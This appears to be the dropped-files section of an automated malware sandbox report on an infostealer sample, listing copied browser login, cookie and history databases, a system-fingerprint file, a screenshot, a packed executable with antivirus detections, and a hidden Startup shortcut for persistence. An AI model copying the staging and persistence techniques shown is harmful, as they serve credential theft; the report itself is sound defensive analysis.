SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\Gb4XFU7Lmj75History

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\H4VYK_JIpU1TWeb Data

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\JC3XtWzdemjYHistory

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\Obx2X__9Uw89History

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 38, cookie 0x1f, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	155648
Entropy (8bit):	0.5407252242845243
Encrypted:	false
SSDEEP:	96:OgWyejzH+bDoYysX0IxQzZkHtpVJNlYDLjGQLBE3CeE0kE:OJhH+bDo3iN0Z2TVJkXBBE3yb
MD5:	7B955D976803304F2C0505431A0CF1CF
SHA1:	E29070081B18DA0EF9D98D4389091962E3D37216
SHA-256:	987FB9BFC2A84C4C605DCB339D4935B52A969B24E70D6DEAC8946BA9A2B432DC
SHA-512:	CE2F1709F39683BE4131125BED409103F5EDF1DED545649B186845817C0D69E3D0B832B236F7C4FC09AB7F7BB88E7C9F1E4F7047D1AF56D429752D4D8CBED47A
Malicious:	false
Preview:	SQLite format 3......@ .......&..................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\Ok36VMDQZkJbWeb Data

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\TvNr25IJjGDuWeb Data

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\VEE29fVioP1AWeb Data

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\XMgneSrmE6awLogin Data

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\_019ogo7XT61Login Data

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\d6oFOJlQgdy8History

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5394293526345721
Encrypted:	false
SSDEEP:	96:AquejzH+bF+UIYysX0IxQzh/tsV0NifLjLqLy0e9S8E:AqtH+bF+UI3iN0RSV0k3qLyj9
MD5:	52701A76A821CDDBC23FB25C3FCA4968
SHA1:	440D4B5A38AF50711C5E6C6BE22D80BC17BF32DE
SHA-256:	D602B4D0B3EB9B51535F6EBA33709DCB881237FA95C5072CB39CECF0E06A0AC4
SHA-512:	2653C8DB9C20207FA7006BC9C63142B7C356FB9DC97F9184D60C75D987DC0848A8159C239E83E2FC9D45C522FEAE8D273CDCD31183DED91B8B587596183FC000
Malicious:	false
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\dvfWfY5Km8RXLogin Data For Account

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\hcMSmyGUCSEFc2FAKlzc.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 83% Antivirus: Virustotal, Detection: 80%, Browse
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\tYBRSmE7D03rWeb Data

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\zy4GXi5yvCrsiS0ulH8Z.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 83% Antivirus: Virustotal, Detection: 80%, Browse
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Local\Temp\trixyBqgSBuerctg2\Cookies\Chrome_Default.txt

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (369), with CRLF line terminators
Category:	dropped
Size (bytes):	530
Entropy (8bit):	5.999391385907715
Encrypted:	false
SSDEEP:	12:copYxSlufq7gCx7Fbyr4rOSlTfJJADr6HDsZQZ7gC6:KauS79Gr4iSllJALQZ7c
MD5:	06ED2CD304730F55A5C7001509E128BE
SHA1:	49651485B2CE3D239172BD52BF5A265AB3EB8E18
SHA-256:	66851B5AA77B3DEE71B842F53D4E30F664F5A08F9754B9E87B323871981516A4
SHA-512:	0163A8537DE695D34865EEB9C872F15A1827644D8797344A2D36E776F174E5901E77AA560488B0D7D7359B3648614F818B85A7D51F59CCDF2831B5715F5A9334
Malicious:	false
Preview:	.google.com.FALSE./.TRUE.1699018815.1P_JAR.ENC893_djEwmUj/dRHWNmfhbTB/w+u3HcpAF49UGcxvovgmz9ye9OQyJO9KCFHkRm8=_Spn23kok+Q5pGfoIFZdfhpScu2LLLElOWGEpK4fGivY=...google.com.TRUE./.TRUE.1712238015.NID.ENC893_djEwFCqquAx+Q1mLxpuZeEBJZSgzAt4Ngo/HHXcYPxMGINXG0MJzCe/y7m5VzpUyfsA6ingOdNobTvWP/YbKYpzg64nmGlCjRU9RpPIjDAuAxGlp5MTMUaOP4iC8aSCuijjqDE5gAdZQ5Jgb0/uEAZ4ssWGDsxXJbqpGbi04viYfPDhBfQ9XKXznqtHW/weYlNZJIGlKZBsCWoEIKfuL56VHKaBt04gLO/XK1/P3nHsp6pSc1x1uk1RRK7hSYUjCY5G/hcpBBjFv74dICDI=_Spn23kok+Q5pGfoIFZdfhpScu2LLLElOWGEpK4fGivY=..

C:\Users\user\AppData\Local\Temp\trixyBqgSBuerctg2\History\Firefox_v6zchhhv.default-release.txt

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	112
Entropy (8bit):	4.9113057226932435
Encrypted:	false
SSDEEP:	3:N8DSLvIJiMgTE2WdkQVjDSLvIJiMhKVX3L2WdkQVQ:2OLciodFOLciA8dq
MD5:	0CE7E561D96623E70DD177304D3B56DA
SHA1:	27B4131817E71657AED90C086E01E7E925BF641E
SHA-256:	E0B2F92CFB58B7D5EDFBB1FDF3E81194D4E55A90706986C389BDF21D2AD2325D
SHA-512:	48154E76523305BBB7ED39FEAD22CB4DD6FDD568259DC8D0E70ABA4A21030DAF6D1274E0DC5D7F10DFCF7B3B61BD2401FFB4768F301AEF04F142AF23EF335AB5
Malicious:	false
Preview:	https://www.mozilla.org/privacy/firefox/.1696426831..https://www.mozilla.org/en-US/privacy/firefox/.1696426831..

C:\Users\user\AppData\Local\Temp\trixyBqgSBuerctg2\information.txt

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	7048
Entropy (8bit):	5.414565711078366
Encrypted:	false
SSDEEP:	96:xVHJF/ZRtgc2KBhA6tsxODsZvipqANUbg3x:x3XgX6tsxPZv4B
MD5:	864588BD42E1077B678DBB1D078C8329
SHA1:	9FE1D29CD8D7985834DFFD1E49E301841D842F92
SHA-256:	EB5DAA701E1BE419543D28A88D5BADCA1AFE15039371325A7AEB8AC5468E1783
SHA-512:	72BB030588A19C59B6C9BEAD29B41AA5F77761A68A62D1A2AFD47FF8B562BAADE75D777D766C5950B79864D13F6000044C32B5F260397905A326F25FB5BA2F6D
Malicious:	false
Preview:	Build: r1..Version: 1.9....Date: Mon Apr 22 01:18:02 2024.MachineID: 9e146be9-c76a-4720-bcdb-53011b87bd06..GUID: {a33c7340-61ca-11ee-8c18-806e6f6e6963}..HWID: ef460f40229413ef7f3c012913a65fc5....Path: C:\Users\user\Desktop\file.exe..Work Dir: C:\Users\user\AppData\Local\Temp\trixyBqgSBuerctg2....IP: 81.181.57.52..Location: US, Atlanta..ZIP (Autofills): -..Windows: Windows 10 Pro [x64]..Computer Name: 405464 [WORKGROUP]..User Name: user..Display Resolution: 1280x1024..Display Language: en-CH..Keyboard Languages: English (United Kingdom) / English (United Kingdom)..Local Time: 22/4/2024 1:18:2..TimeZone: UTC1....[Hardware]..Processor: Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz..CPU Count: 4..RAM: 8191 MB..VideoCard #0: Microsoft Basic Display Adapter....[Processes]..System [4]..Registry [92]..smss.exe [332]..csrss.exe [420]..wininit.exe [496]..csrss.exe [504]..winlogon.exe [564]..services.exe [632]..lsass.exe [640]..svchost.exe [752]..fontdrvhost.exe [780]..fontdrvhost.exe [788]..svcho

C:\Users\user\AppData\Local\Temp\trixyBqgSBuerctg2\passwords.txt

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	Unicode text, UTF-8 text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	2.518316437186352
Encrypted:	false
SSDEEP:	48:4MMMMMMMMMMdMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMM1MMMMMMMMMMdMMMMMMMM3:q
MD5:	B3E9D0E1B8207AA74CB8812BAAF52EAE
SHA1:	A2DCE0FB6B0BBC955A1E72EF3D87CADCC6E3CC6B
SHA-256:	4993311FC913771ACB526BB5EF73682EDA69CD31AC14D25502E7BDA578FFA37C
SHA-512:	B17ADF4AA80CADC581A09C72800DA22F62E5FB32953123F2C513D2E88753C430CC996E82AAE7190C8CB3340FCF2D9E0D759D99D909D2461369275FBE5C68C27A
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\trixyBqgSBuerctg2\screenshot.png

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	676900
Entropy (8bit):	7.924990667933308
Encrypted:	false
SSDEEP:	12288:hCh66of5QOmvALo4xjjy9l5JduCbPjwK1a57x9hCuPKDiq/hu:QhtOog7x3oJM6Pjwwc7zhJPoiq/U
MD5:	39682657DC2104A5F987E4B8995E11FF
SHA1:	BB6B14C2AB85EA8B909C0E53D4EFDCA2353C3CC1
SHA-256:	25E86228A5E524A02E2C1FCA1E312428DE6B5A0C5FF652EDF677785617819476
SHA-512:	0A41DBDEA34FFA977D58A3D4BB9D74ABF09E94CF4A8543D8D9BE093BBEE524A5BB908967205CCFA2FA78C936B5273697CE5270044428745CA80E620772F46B6D
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^..g..W.`....E..~]o..W.Y.?..........Ti.21.^ /....L.K<.....9...(1B. ..B..BB $H..{{......X.D..s....1..{...9..f".....g.../.N.....e.Q}9..........;.w.`.,.c...^......c.~d.a.\|.y.+.,........o.~...y....1x.....r..x.......v..O......r...OY;...sE.O....;F...7..\|gU,.z.,......d..^../....+..s.L,6,...u3x.-#6...n.E.,c.7Oe..R.....3....}c..so...\|}M,<......g......T65,...<../lJX..R.........>...(...O..T6=5g.)_.lz..'}a.b...J[..X....n..]K\o.,>..K...#6=.......u.._.m...w.O.~....]e.q..X.[.9`..-.NXs..c....+<..n+._.J.=.%..!..[.-.+g..6......z.1W.b..w}...r.c..6=...s.Z.C.m9.......-..5..i.W>..+..c........uY.......J.P......f[...+u.[.+.......M.#/.c.-..cl!......rt9....#K.K+...d..~...c.e.k...U..Y.}.%.....q...9............a....88...n.Q.V6.Y>...2.#....[...Q.....,..V.<.s..@n..K.../8_<.3.M.~...)gN`..U.:b...s.....g...?S.[.-.@l..G..c.[.).9x.{...R..\r...et...R.......91.8y ....;/.X.\|..y.

C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\spanBqgSBuerctg2\zy4GXi5yvCrsiS0ulH8Z.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows, MZ for MS-DOS
Category:	dropped
Size (bytes):	4563640
Entropy (8bit):	7.906115886926003
Encrypted:	false
SSDEEP:	98304:RpvmMxvdjYr/2BLOizdh/0Rzs24+WhXWXfRqCFh6MacgD5hB:vlVjMuBx0R7RrXpqiUhB
MD5:	AF6E384DFABDAD52D43CF8429AD8779C
SHA1:	C78E8CD8C74AD9D598F591DE5E49F73CE3373791
SHA-256:	F327C2B5AB1D98F0382A35CD78F694D487C74A7290F1FF7BE53F42E23021E599
SHA-512:	B55BA87B275A475E751E13EC9BAC2E7F1A3484057844E210168E2256D73D9B6A7C7C7592845D4A3BF8163CF0D479315418A9F3CB8F2F4832AF88A06867E3DF93
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 83% Antivirus: Virustotal, Detection: 80%, Browse
Preview:	MZ@.....................................!..L.!Win32 .EXE...$@...PE..L....M.a.....................^.......w......0....@...........................}.....m.F.......................................w.......w.\|.............E.............................................................P.w..............................MPRESS1.pw.......?......................MPRESS22.....w.......?..................rsrc...\|.....w.......?.............@..............................................................................v2.19w...?. ...o......G>H.r9aQ..(.......`....=....?....!.Z..&I........I18..Z!..Y..s...[QX....a....YY...).v.....n......\|)....^f..+.>..84h82g...>.hb\...E.(.x.....@.8_.9.4U.m..'.s......#.....03.......O..]`..S2.@#.........oF~..R..Q..q.o.yn...OA@\|....g...F....0.j.......s/..H..+ 0C.!....7s..^H,...... ..{...............D......r.I..,\|........u.6......E>q..}....g..).U..ME.'.j}.........7^...w.......Le......k.T.`.#%....b..n.F.&-o..../8S.E..{1.E..,....<.c\|b.z.Fz........\|..W"p.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\EdgeMS2.lnk

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Archive, ctime=Sun Apr 21 22:18:12 2024, mtime=Sun Apr 21 22:18:12 2024, atime=Sun Apr 21 22:18:12 2024, length=4563640, window=hide
Category:	dropped
Size (bytes):	1330
Entropy (8bit):	4.869860427432272
Encrypted:	false
SSDEEP:	24:8kNDHf/8hRIRdgK4wyn6dM0BXAjB1yNdFd/Pqygm:8k9H8oRCzSBwjB1yV4yg
MD5:	3520D6622AFD8CC35CA839B376F02881
SHA1:	E4CB09EB49D0AE2629D2345F2CC3A1B736555980
SHA-256:	1B76FADC69684E475EC50F0D32BC1411FA1C3D4C306BF2178DC25FF5ABA41692
SHA-512:	1E0C61C81CD832B16D14084C205C0AECF84352DC8D12C71834DE9FEBDBBAE1A5B06DE2DA3E42A73A7EC54A37CD65E7B5F611D2E608F5464DCAD67A57655AD73F
Malicious:	false
